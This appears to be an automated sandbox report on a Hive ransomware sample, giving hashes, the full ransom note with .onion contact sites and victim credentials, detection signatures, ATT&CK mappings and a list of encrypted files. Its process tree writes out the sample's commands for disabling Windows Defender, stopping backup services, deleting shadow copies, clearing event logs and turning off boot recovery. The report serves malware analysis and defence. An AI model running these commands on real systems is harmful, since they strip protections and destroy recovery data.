Overview

overview

10

Static

static

3

2026-03-12...ch.exe

windows10-2004-x64

10

2026-03-12...ch.exe

windows11-21h2-x64

10

Analysis

  • max time kernel
    148s
  • max time network
    136s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    12/03/2026, 02:47

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-03-12_0bc17a84706834cba4999220905f2b8c_cobalt-strike_frostygoop_glassworm_hive_luca-stealer_salatstealer_sliver_snatch.exe
  • Size 3.9MB
  • Sample260312-c965eaex3v
  • SHA256 d37641197ac999da5f66f6e5352223a16aa0abd6727f7ce3174285ae8c22293f
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryevasionexecutionhiveimpactpersistenceransomwarespywarestealertrojan

Malware Config

Extracted

Path

  • C:\Program Files\Common Files\DESIGNER\NzK1_HOW_TO_DECRYPT.txt

  • hive

Ransom Note
  • Your network has been breached and all data were encrypted. Personal data, financial reports and important documents are ready to disclose. To decrypt all the data and to prevent exfiltrated files to be disclosed at http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/ you will need to purchase our decryption software. Please contact our sales department at: http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/ Login: dZroi4xUftJF Password: K4jStRtmsaW5bawPgwmC To get an access to .onion websites download and install Tor Browser at: https://www.torproject.org/ (Tor Browser is not related to us) Follow the guidelines below to avoid losing your data: - Do not modify, rename or delete *.key.yyrhb files. Your data will be undecryptable. - Do not modify or rename encrypted files. You will lose them. - Do not report to the Police, FBI, etc. They don't care about your business. They simply won't allow you to pay. As a result you will lose everything. - Do not hire a recovery company. They can't decrypt without the key. They also don't care about your business. They believe that they are good negotiators, but it is not. They usually fail. So speak for yourself. - Do not reject to purchase. Exfiltrated files will be publicly disclosed.
URLs

  • http://hiveleakdbtnp76ulyhi52eag6c6tyc3xw7ez7iqy6wc34gd2nekazyd.onion/

  • http://hivecust6vhekztbqgdnkks64ucehqacge3dij3gyrrpdp57zoq3ooqd.onion/

Signatures

  • Hive

    A ransomware written in Golang first seen in June 2021.

    ransomwarehive
  • Hive family
    hive
  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
    evasiontrojan
  • Modifies Windows Defender Real-time Protection settings 3 TTPs 10 IoCs
    defense_evasiontrojan
  • Modifies security service 2 TTPs 1 IoCs
    defense_evasion
  • Clears Windows event logs 1 TTPs 3 IoCs
    defense_evasionransomware
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomwaredefense_evasionimpactexecution
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Renames multiple (1943) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Renames multiple (51) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Renames multiple (54) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Renames multiple (60) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Renames multiple (65) files with added filename extension

    This suggests ransomware activity of encrypting all the files on the system.

    ransomware
  • Disables one or more Microsoft Defender components 1 TTPs 2 IoCs

    Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.

    defense_evasion
  • Disables service(s) 3 TTPs
    defense_evasionexecution
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

    execution
  • Modifies Security services 2 TTPs 6 IoCs

    Modifies the startup behavior of a security service.

    defense_evasion
  • Drops file in Program Files directory 64 IoCs
  • Launches sc.exe 8 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

    discovery
  • Interacts with shadow copies 3 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Opens file in notepad (likely ransom note) 1 IoCs
    ransomware
  • Runs net.exe
  • Runs ping.exe 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-03-12_0bc17a84706834cba4999220905f2b8c_cobalt-strike_frostygoop_glassworm_hive_luca-stealer_salatstealer_sliver_snatch.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-03-12_0bc17a84706834cba4999220905f2b8c_cobalt-strike_frostygoop_glassworm_hive_luca-stealer_salatstealer_sliver_snatch.exe"
    1⤵
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:2188
    • C:\Windows\SYSTEM32\net.exe
      net.exe stop "SamSs" /y
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2772
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 stop "SamSs" /y
        3⤵
          PID:3140
      • C:\Windows\SYSTEM32\net.exe
        net.exe stop "SDRSVC" /y
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3876
        • C:\Windows\system32\net1.exe
          C:\Windows\system32\net1 stop "SDRSVC" /y
          3⤵
            PID:2036
        • C:\Windows\SYSTEM32\net.exe
          net.exe stop "SstpSvc" /y
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:2368
          • C:\Windows\system32\net1.exe
            C:\Windows\system32\net1 stop "SstpSvc" /y
            3⤵
              PID:2220
          • C:\Windows\SYSTEM32\net.exe
            net.exe stop "vmicvss" /y
            2⤵
            • Suspicious use of WriteProcessMemory
            PID:2504
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 stop "vmicvss" /y
              3⤵
                PID:2088
            • C:\Windows\SYSTEM32\net.exe
              net.exe stop "VSS" /y
              2⤵
              • Suspicious use of WriteProcessMemory
              PID:3576
              • C:\Windows\system32\net1.exe
                C:\Windows\system32\net1 stop "VSS" /y
                3⤵
                  PID:4944
              • C:\Windows\SYSTEM32\net.exe
                net.exe stop "wbengine" /y
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:2228
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop "wbengine" /y
                  3⤵
                    PID:3532
                • C:\Windows\SYSTEM32\net.exe
                  net.exe stop "WebClient" /y
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:2192
                  • C:\Windows\system32\net1.exe
                    C:\Windows\system32\net1 stop "WebClient" /y
                    3⤵
                      PID:2200
                  • C:\Windows\SYSTEM32\net.exe
                    net.exe stop "UnistoreSvc_1f7ce" /y
                    2⤵
                    • Suspicious use of WriteProcessMemory
                    PID:2956
                    • C:\Windows\system32\net1.exe
                      C:\Windows\system32\net1 stop "UnistoreSvc_1f7ce" /y
                      3⤵
                        PID:4128
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SamSs" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4728
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SDRSVC" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:4932
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "SstpSvc" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:680
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "vmicvss" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:3776
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "VSS" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:3308
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "wbengine" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:240
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "WebClient" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:408
                    • C:\Windows\SYSTEM32\sc.exe
                      sc.exe config "UnistoreSvc_1f7ce" start= disabled
                      2⤵
                      • Launches sc.exe
                      PID:1904
                    • C:\Windows\SYSTEM32\reg.exe
                      reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                      2⤵
                      • Modifies Security services
                      PID:5004
                    • C:\Windows\SYSTEM32\reg.exe
                      reg.exe delete "HKLM\Software\Policies\Microsoft\Windows Defender" /f
                      2⤵
                        PID:3884
                      • C:\Windows\SYSTEM32\reg.exe
                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d "1" /f
                        2⤵
                        • Modifies Windows Defender DisableAntiSpyware settings
                        PID:4656
                      • C:\Windows\SYSTEM32\reg.exe
                        reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiVirus" /t REG_DWORD /d "1" /f
                        2⤵
                          PID:2728
                        • C:\Windows\SYSTEM32\reg.exe
                          reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\MpEngine" /v "MpEnablePus" /t REG_DWORD /d "0" /f
                          2⤵
                            PID:4672
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableBehaviorMonitoring" /t REG_DWORD /d "1" /f
                            2⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:3376
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableIOAVProtection" /t REG_DWORD /d "1" /f
                            2⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:4616
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableOnAccessProtection" /t REG_DWORD /d "1" /f
                            2⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:1592
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d "1" /f
                            2⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:1068
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableScanOnRealtimeEnable" /t REG_DWORD /d "1" /f
                            2⤵
                            • Modifies Windows Defender Real-time Protection settings
                            PID:616
                          • C:\Windows\SYSTEM32\reg.exe
                            reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\Reporting" /v "DisableEnhancedNotifications" /t REG_DWORD /d "1" /f
                            2⤵
                              PID:3204
                            • C:\Windows\SYSTEM32\reg.exe
                              reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "DisableBlockAtFirstSeen" /t REG_DWORD /d "1" /f
                              2⤵
                                PID:4044
                              • C:\Windows\SYSTEM32\reg.exe
                                reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SpynetReporting" /t REG_DWORD /d "0" /f
                                2⤵
                                  PID:3940
                                • C:\Windows\SYSTEM32\reg.exe
                                  reg.exe add "HKLM\Software\Policies\Microsoft\Windows Defender\SpyNet" /v "SubmitSamplesConsent" /t REG_DWORD /d "0" /f
                                  2⤵
                                    PID:1348
                                  • C:\Windows\SYSTEM32\reg.exe
                                    reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderApiLogger" /v "Start" /t REG_DWORD /d "0" /f
                                    2⤵
                                      PID:5064
                                    • C:\Windows\SYSTEM32\reg.exe
                                      reg.exe add "HKLM\System\CurrentControlSet\Control\WMI\Autologger\DefenderAuditLogger" /v "Start" /t REG_DWORD /d "0" /f
                                      2⤵
                                        PID:4816
                                      • C:\Windows\SYSTEM32\schtasks.exe
                                        schtasks.exe /Change /TN "Microsoft\Windows\ExploitGuard\ExploitGuard MDM policy Refresh" /Disable
                                        2⤵
                                          PID:4904
                                        • C:\Windows\SYSTEM32\schtasks.exe
                                          schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cache Maintenance" /Disable
                                          2⤵
                                            PID:4748
                                          • C:\Windows\SYSTEM32\schtasks.exe
                                            schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Cleanup" /Disable
                                            2⤵
                                              PID:3132
                                            • C:\Windows\SYSTEM32\schtasks.exe
                                              schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Scheduled Scan" /Disable
                                              2⤵
                                                PID:2812
                                              • C:\Windows\SYSTEM32\schtasks.exe
                                                schtasks.exe /Change /TN "Microsoft\Windows\Windows Defender\Windows Defender Verification" /Disable
                                                2⤵
                                                  PID:892
                                                • C:\Windows\SYSTEM32\reg.exe
                                                  reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Explorer\StartupApproved\Run" /v "Windows Defender" /f
                                                  2⤵
                                                    PID:2008
                                                  • C:\Windows\SYSTEM32\reg.exe
                                                    reg.exe delete "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Windows Defender" /f
                                                    2⤵
                                                      PID:3300
                                                    • C:\Windows\SYSTEM32\reg.exe
                                                      reg.exe delete "HKLM\Software\Microsoft\Windows\CurrentVersion\Run" /v "WindowsDefender" /f
                                                      2⤵
                                                        PID:4000
                                                      • C:\Windows\SYSTEM32\reg.exe
                                                        reg.exe delete "HKCR\*\shellex\ContextMenuHandlers\EPP" /f
                                                        2⤵
                                                          PID:1200
                                                        • C:\Windows\SYSTEM32\reg.exe
                                                          reg.exe delete "HKCR\Directory\shellex\ContextMenuHandlers\EPP" /f
                                                          2⤵
                                                            PID:4276
                                                          • C:\Windows\SYSTEM32\reg.exe
                                                            reg.exe delete "HKCR\Drive\shellex\ContextMenuHandlers\EPP" /f
                                                            2⤵
                                                              PID:3388
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdBoot" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies Security services
                                                              PID:1340
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdFilter" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies Security services
                                                              PID:3816
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisDrv" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies Security services
                                                              PID:2700
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WdNisSvc" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies Security services
                                                              PID:232
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\WinDefend" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies security service
                                                              PID:780
                                                            • C:\Windows\SYSTEM32\reg.exe
                                                              reg.exe add "HKLM\System\CurrentControlSet\Services\SecurityHealthService" /v "Start" /t REG_DWORD /d "4" /f
                                                              2⤵
                                                              • Modifies Security services
                                                              PID:4200
                                                            • C:\Windows\SYSTEM32\vssadmin.exe
                                                              vssadmin.exe delete shadows /all /quiet
                                                              2⤵
                                                              • Interacts with shadow copies
                                                              PID:1600
                                                            • C:\Windows\SYSTEM32\wevtutil.exe
                                                              wevtutil.exe cl system
                                                              2⤵
                                                              • Clears Windows event logs
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:3656
                                                            • C:\Windows\SYSTEM32\wevtutil.exe
                                                              wevtutil.exe cl security
                                                              2⤵
                                                              • Clears Windows event logs
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:4612
                                                            • C:\Windows\SYSTEM32\wevtutil.exe
                                                              wevtutil.exe cl application
                                                              2⤵
                                                              • Clears Windows event logs
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:992
                                                            • C:\Windows\System32\Wbem\wmic.exe
                                                              wmic.exe SHADOWCOPY /nointeractive
                                                              2⤵
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:1128
                                                            • C:\Windows\System32\Wbem\wmic.exe
                                                              wmic.exe shadowcopy delete
                                                              2⤵
                                                              • Suspicious use of AdjustPrivilegeToken
                                                              PID:1060
                                                            • C:\Windows\SYSTEM32\bcdedit.exe
                                                              bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures
                                                              2⤵
                                                              • Modifies boot configuration data using bcdedit
                                                              PID:3348
                                                            • C:\Windows\SYSTEM32\bcdedit.exe
                                                              bcdedit.exe /set {default} recoveryenabled no
                                                              2⤵
                                                              • Modifies boot configuration data using bcdedit
                                                              PID:4152
                                                            • C:\Windows\SYSTEM32\cmd.exe
                                                              cmd.exe /c "C:\Program Files\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All
                                                              2⤵
                                                                PID:2132
                                                              • C:\Windows\SYSTEM32\cmd.exe
                                                                cmd.exe /c powershell Set-MpPreference -DisableIOAVProtection $true
                                                                2⤵
                                                                  PID:1040
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell Set-MpPreference -DisableIOAVProtection $true
                                                                    3⤵
                                                                    • Disables one or more Microsoft Defender components
                                                                    • Command and Scripting Interpreter: PowerShell
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:1608
                                                                • C:\Windows\SYSTEM32\cmd.exe
                                                                  cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                  2⤵
                                                                    PID:3664
                                                                    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                      powershell Set-MpPreference -DisableRealtimeMonitoring $true
                                                                      3⤵
                                                                      • Disables one or more Microsoft Defender components
                                                                      • Command and Scripting Interpreter: PowerShell
                                                                      • Suspicious behavior: EnumeratesProcesses
                                                                      PID:656
                                                                  • C:\Windows\SYSTEM32\notepad.exe
                                                                    notepad.exe C:\NzK1_HOW_TO_DECRYPT.txt
                                                                    2⤵
                                                                    • Opens file in notepad (likely ransom note)
                                                                    PID:1812
                                                                  • C:\Windows\SYSTEM32\cmd.exe
                                                                    cmd.exe /D /C ping.exe -n 5 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\2026-03-12_0bc17a84706834cba4999220905f2b8c_cobalt-strike_frostygoop_glassworm_hive_luca-stealer_salatstealer_sliver_snatch.exe"
                                                                    2⤵
                                                                    • System Network Configuration Discovery: Internet Connection Discovery
                                                                    PID:2288
                                                                    • C:\Windows\system32\PING.EXE
                                                                      ping.exe -n 5 127.0.0.1
                                                                      3⤵
                                                                      • System Network Configuration Discovery: Internet Connection Discovery
                                                                      • Runs ping.exe
                                                                      PID:3124

                                                                Network

                                                                      MITRE ATT&CK Enterprise v16

                                                                      Reconnaissance

                                                                      Resource Development

                                                                      Initial Access

                                                                      Execution

                                                                      Command and Scripting Interpreter

                                                                      1
                                                                      T1059

                                                                      PowerShell

                                                                      1
                                                                      T1059.001

                                                                      System Services

                                                                      1
                                                                      T1569

                                                                      Service Execution

                                                                      1
                                                                      T1569.002

                                                                      Windows Management Instrumentation

                                                                      1
                                                                      T1047

                                                                      Persistence

                                                                      Create or Modify System Process

                                                                      4
                                                                      T1543

                                                                      Windows Service

                                                                      4
                                                                      T1543.003

                                                                      Privilege Escalation

                                                                      Create or Modify System Process

                                                                      4
                                                                      T1543

                                                                      Windows Service

                                                                      4
                                                                      T1543.003

                                                                      Defense Evasion

                                                                      Direct Volume Access

                                                                      1
                                                                      T1006

                                                                      Impair Defenses

                                                                      4
                                                                      T1562

                                                                      Disable or Modify Tools

                                                                      3
                                                                      T1562.001

                                                                      Indicator Removal

                                                                      3
                                                                      T1070

                                                                      Clear Windows Event Logs

                                                                      1
                                                                      T1070.001

                                                                      File Deletion

                                                                      2
                                                                      T1070.004

                                                                      Modify Registry

                                                                      4
                                                                      T1112

                                                                      Credential Access

                                                                      Credentials from Password Stores

                                                                      1
                                                                      T1555

                                                                      Credentials from Web Browsers

                                                                      1
                                                                      T1555.003

                                                                      Unsecured Credentials

                                                                      1
                                                                      T1552

                                                                      Credentials In Files

                                                                      1
                                                                      T1552.001

                                                                      Discovery

                                                                      Query Registry

                                                                      1
                                                                      T1012

                                                                      Remote System Discovery

                                                                      1
                                                                      T1018

                                                                      System Network Configuration Discovery

                                                                      1
                                                                      T1016

                                                                      Internet Connection Discovery

                                                                      1
                                                                      T1016.001

                                                                      Lateral Movement

                                                                      Collection

                                                                      Data from Local System

                                                                      1
                                                                      T1005

                                                                      Command and Control

                                                                      Exfiltration

                                                                      Impact

                                                                      Inhibit System Recovery

                                                                      3
                                                                      T1490

                                                                      Service Stop

                                                                      1
                                                                      T1489

                                                                      Replay Monitor

                                                                      Loading Replay Monitor...

                                                                      Downloads

                                                                      s_remove_18.svg.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_MgAAADIAAAA0.yyrhb
                                                                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\images\themes\dark\s_remove_18.svg.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_MgAAADIAAAA0.yyrhb
                                                                      • Size 711B
                                                                      • SHA256 94f76b160568e3705f1e0d2d6ff3ee6927bd812032498d373bbcc516af2864f7
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      example_icons.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_MAAAADAAAAA0.yyrhb
                                                                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\example_icons.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_MAAAADAAAAA0.yyrhb
                                                                      • Size 683B
                                                                      • SHA256 57804748e775c08ae188b4d860f31e4482ab99b44ed1d8489780daa6756fb11c
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      example_icons2x.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\editpdf\images\example_icons2x.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Size 1KB
                                                                      • SHA256 7a610114be56ff131462bc67f9a23bcd4fde4fdd0158691448ab9e4a3eb2ca3b
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      rhp_world_icon.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Size 445B
                                                                      • SHA256 42c312aa2a038ca54e9a6fe4bad8c9c044c35b4c5f421496f289c00c957d7591
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      rhp_world_icon_hover.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_JAAAACQAAAA0.yyrhb
                                                                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon_hover.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_JAAAACQAAAA0.yyrhb
                                                                      • Size 388B
                                                                      • SHA256 8bcf53efcb1b630087d4cfcedf5e48a7abaa9c71dd13745eedfd2c7cfa6827f5
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      rhp_world_icon_hover_2x.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_DgAAAA4AAAA0.yyrhb
                                                                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\rhp_world_icon_hover_2x.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_DgAAAA4AAAA0.yyrhb
                                                                      • Size 552B
                                                                      • SHA256 87da831caa04bd303918a32265830ff97648dc8adc18881ba14d1cc1d28cde85
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      rhp_world_icon.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_EgAAABIAAAA0.yyrhb
                                                                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_EgAAABIAAAA0.yyrhb
                                                                      • Size 388B
                                                                      • SHA256 854a09f1f875a3a2e6566c593af465c9c8a3aa9b9112eb755bb09cee76224a63
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      rhp_world_icon_2x.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon_2x.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Size 552B
                                                                      • SHA256 bfef65c62bfc309f698e8e0b999edfc06ad272b87d805f183551c43f08d704a9
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      rhp_world_icon_hover.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_FgAAABYAAAA0.yyrhb
                                                                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon_hover.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_FgAAABYAAAA0.yyrhb
                                                                      • Size 388B
                                                                      • SHA256 a584379ebf9aa0d3c0239edb7e1f114f01a9865f01c68494d5f28d410ba8d873
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      rhp_world_icon_hover_2x.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\exportpdfupsell-app\images\themes\dark\rhp_world_icon_hover_2x.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Size 552B
                                                                      • SHA256 0e0084df79ab98e5df48ed1e01987f7ac3fcf4a038dd5453708d868f73a073a8
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      rhp_world_icon_2x.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_HAAAABwAAAA0.yyrhb
                                                                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\generic-rhp-app\images\rhp_world_icon_2x.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_HAAAABwAAAA0.yyrhb
                                                                      • Size 611B
                                                                      • SHA256 71039e6370f68913e67cb8451d3127c22d3e1045ca644e4dc9821e9f6f6899aa
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      bg_pattern_RHP.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_JgAAACYAAAA0.yyrhb
                                                                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\bg_pattern_RHP.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_JgAAACYAAAA0.yyrhb
                                                                      • Size 179B
                                                                      • SHA256 041917c06c638a1b1accaf0d2f0b2a6dd335dea629de602e104553024d822ea4
                                                                      • MD5 SHA1 SHA512 TLSH
                                                                      Submit Download

                                                                      bg_patterns_header.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Path C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\WebResources\Resource0\static\js\plugins\my-files\images\bg_patterns_header.png.ZH8ipQe32co6Zor05ygC7VfepQgjdRQDjJX8wfSuqbH_AAAAAAAAAAA0.yyrhb
                                                                      • Size 703B
                                                                      • SHA256 a7cdf870b0b1b8459e94ed25a29daa87f5e9050294bf6cdff3bc72f93b928f94
                                                                      • MD5 SHA1 SHA512 TLSH
